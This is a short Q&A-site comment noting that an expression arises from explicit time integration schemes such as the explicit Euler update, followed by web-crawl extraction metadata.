• Right. This comes out of explicit time integration schemes like the explicit Euler $u^{k+1} = u^k + \tau f(t^k)$. – Jan Sep 16 '14 at 5:03 | 2021-04-20 18:41:19 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6575284600257874, "perplexity": 314.3059482250408}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-17/segments/1618039490226.78/warc/CC-MAIN-20210420183658-20210420213658-00271.warc.gz"} |